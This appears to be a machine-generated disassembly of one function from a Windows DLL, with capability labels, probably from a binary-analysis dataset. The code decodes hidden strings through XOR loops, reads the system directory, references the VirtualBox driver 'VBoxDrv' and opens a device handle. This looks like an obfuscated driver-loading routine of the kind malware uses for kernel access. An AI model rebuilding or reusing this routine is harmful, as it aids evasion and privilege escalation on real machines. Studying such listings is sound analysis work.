Function at 0x180029020
Capabilities:
Authenticate hmac
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x548]
sub rsp, 0x620
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
xor r14d, r14d
mov r8d, 0x10ac0
lea rdx, [0x18034c380]
lea rcx, [rbp - 0x60]
call fcn.18009d880
nop
mov rdi, qword [rbp - 0x60]
test rdi, rdi
je 0x1800290b2
xor edx, edx
mov r8d, 0x410
lea rcx, [rbp + 0xd0]
call fcn.1800bcb60
mov edx, 0x104
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x180029125
mov rdi, qword [rbp - 0x60]
cmp rdi, qword [rbp - 0x58]
je 0x1800290b2
mov qword [rbp - 0x58], rdi
mov rbx, 0xffffffffffffffff
test rdi, rdi
je 0x1800290f2
mov rdx, qword [rbp - 0x50]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x1800290ea
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180029b0e
mov rcx, rdi
call fcn.1800b9f6c
mov rax, rbx
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
movups xmm3, xmmword [0x180158140]
movups xmmword [rsp + 0x40], xmm3
mov r15d, 5
lea r12d, [r15 + 0x1a]
mov esi, dword [reloc.WS2_32.dll_accept]
pextrw eax, xmm3, 7
test ax, ax
je 0x180029287
cmp esi, 2
jl 0x180029244
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x18015bd70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.222222223333333388888888]
movq xmm0, qword [rsp + 0x48]
xorps xmm2, xmm0
movq qword [rsp + 0x48], xmm2
jmp 0x180029287
lea r9, [rsp + 0x40]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x180029250
movups xmm9, xmmword [str.nwQC_T_9]
movups xmmword [rsp + 0x50], xmm9
pextrw eax, xmm9, 7
test ax, ax
je 0x1800293e7
cmp esi, 2
jl 0x1800293a5
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm8, xmmword [str.222222223333333388888888]
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x50], xmm3
movdqa xmm2, xmmword [0x18015bd70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x58]
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
jmp 0x1800293e7
lea r9, [rsp + 0x50]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x1800293b0
lea rcx, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp word [rcx + rax*2], 0
jne 0x1800293f6
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x78], eax
lea r9, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180027490
cmp byte [0x180361be4], 0
je 0x18002942d
xor ecx, ecx
call fcn.180027700
movups xmm0, xmmword [0x1801581e8]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1801581f8]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [0x180158208]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x180158210]
mov word [rbp - 0x68], ax
mov ecx, r14d
cmp esi, 2
jl 0x180029592
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdf0]
movd xmm8, r12d
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rdx, [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jl 0x1800294a0
cmp ecx, 0x15
jge 0x1800295d2
movsxd rax, ecx
lea r8, [rsp + 0x70]
lea r8, [r8 + rax*2]
nop
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
sub ax, dx
add ax, 0x32
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x15
jl 0x1800295a0
lea r8, [rsp + 0x70]
mov edx, 0x208
lea rcx, [rbp + 0xd0]
call fcn.1800c65f8
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.180027d70
mov rax, qword [rbp - 0x60]
cmp rax, qword [rbp - 0x58]
je 0x180029605
mov qword [rbp - 0x58], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x40]
call fcn.1800bcb60
mov edx, 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movups xmm0, xmmword [str.nWF_RJJfmRF27l06F]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x180158268]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x18015826c]
mov byte [rsp + 0x64], al
mov r8d, r14d
cmp esi, 2
jl 0x18002979b
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdf0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x18015beb0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180029690
cmp r8d, 0x15
jge 0x1800297e3
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1800297b0
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rbp - 0x40]
call fcn.1800cb5f4
movzx r9d, byte [0x180361be4]
mov r8b, 1
lea rdx, [rbp - 0x40]
lea rcx, str.VBoxDrv
call fcn.180027ed0
movups xmm9, xmmword [0x180158140]
movups xmmword [rsp + 0x40], xmm9
pextrw eax, xmm9, 7
test ax, ax
je 0x180029977
cmp esi, 2
jl 0x18002992f
movdqa xmm4, xmmword [0x18015bfd0]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm8, xmmword [str.222222223333333388888888]
movdqa xmm2, xmmword [0x18015bd60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm1, xmm9
xorps xmm3, xmm1
movq qword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [0x18015bd70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm8
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x48]
xorps xmm3, xmm0
movq qword [rsp + 0x48], xmm3
jmp 0x180029977
lea r9, [rsp + 0x40]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x180029940
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
lea rax, [rsp + 0x40]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180029990
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.180006af0
nop
movsd xmm0, qword [0x1801580d8]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x1801580e0]
mov ecx, 0x5c
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x33
xor word [rsp + 0x44], 0x34
xor word [rsp + 0x46], 0x35
xor ax, 0x36
mov word [rsp + 0x48], ax
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1800299f0
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp - 0x80]
sub rax, rcx
cmp rax, rbx
jb 0x180029b14
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1800079c0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180029aba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180029ab5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180029b1a
call fcn.1800b9f6c
cmp rbx, 0xffffffffffffffff
cmove rbx, r14
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x180029aff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180029afa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180029b08
call fcn.1800b9f6c
mov rdi, qword [rbp - 0x60]
jmp 0x1800290b9
call fcn.1800c5e04
nop
call fcn.1800c5e04
nop
call fcn.180001570
int3
call fcn.1800c5e04
int3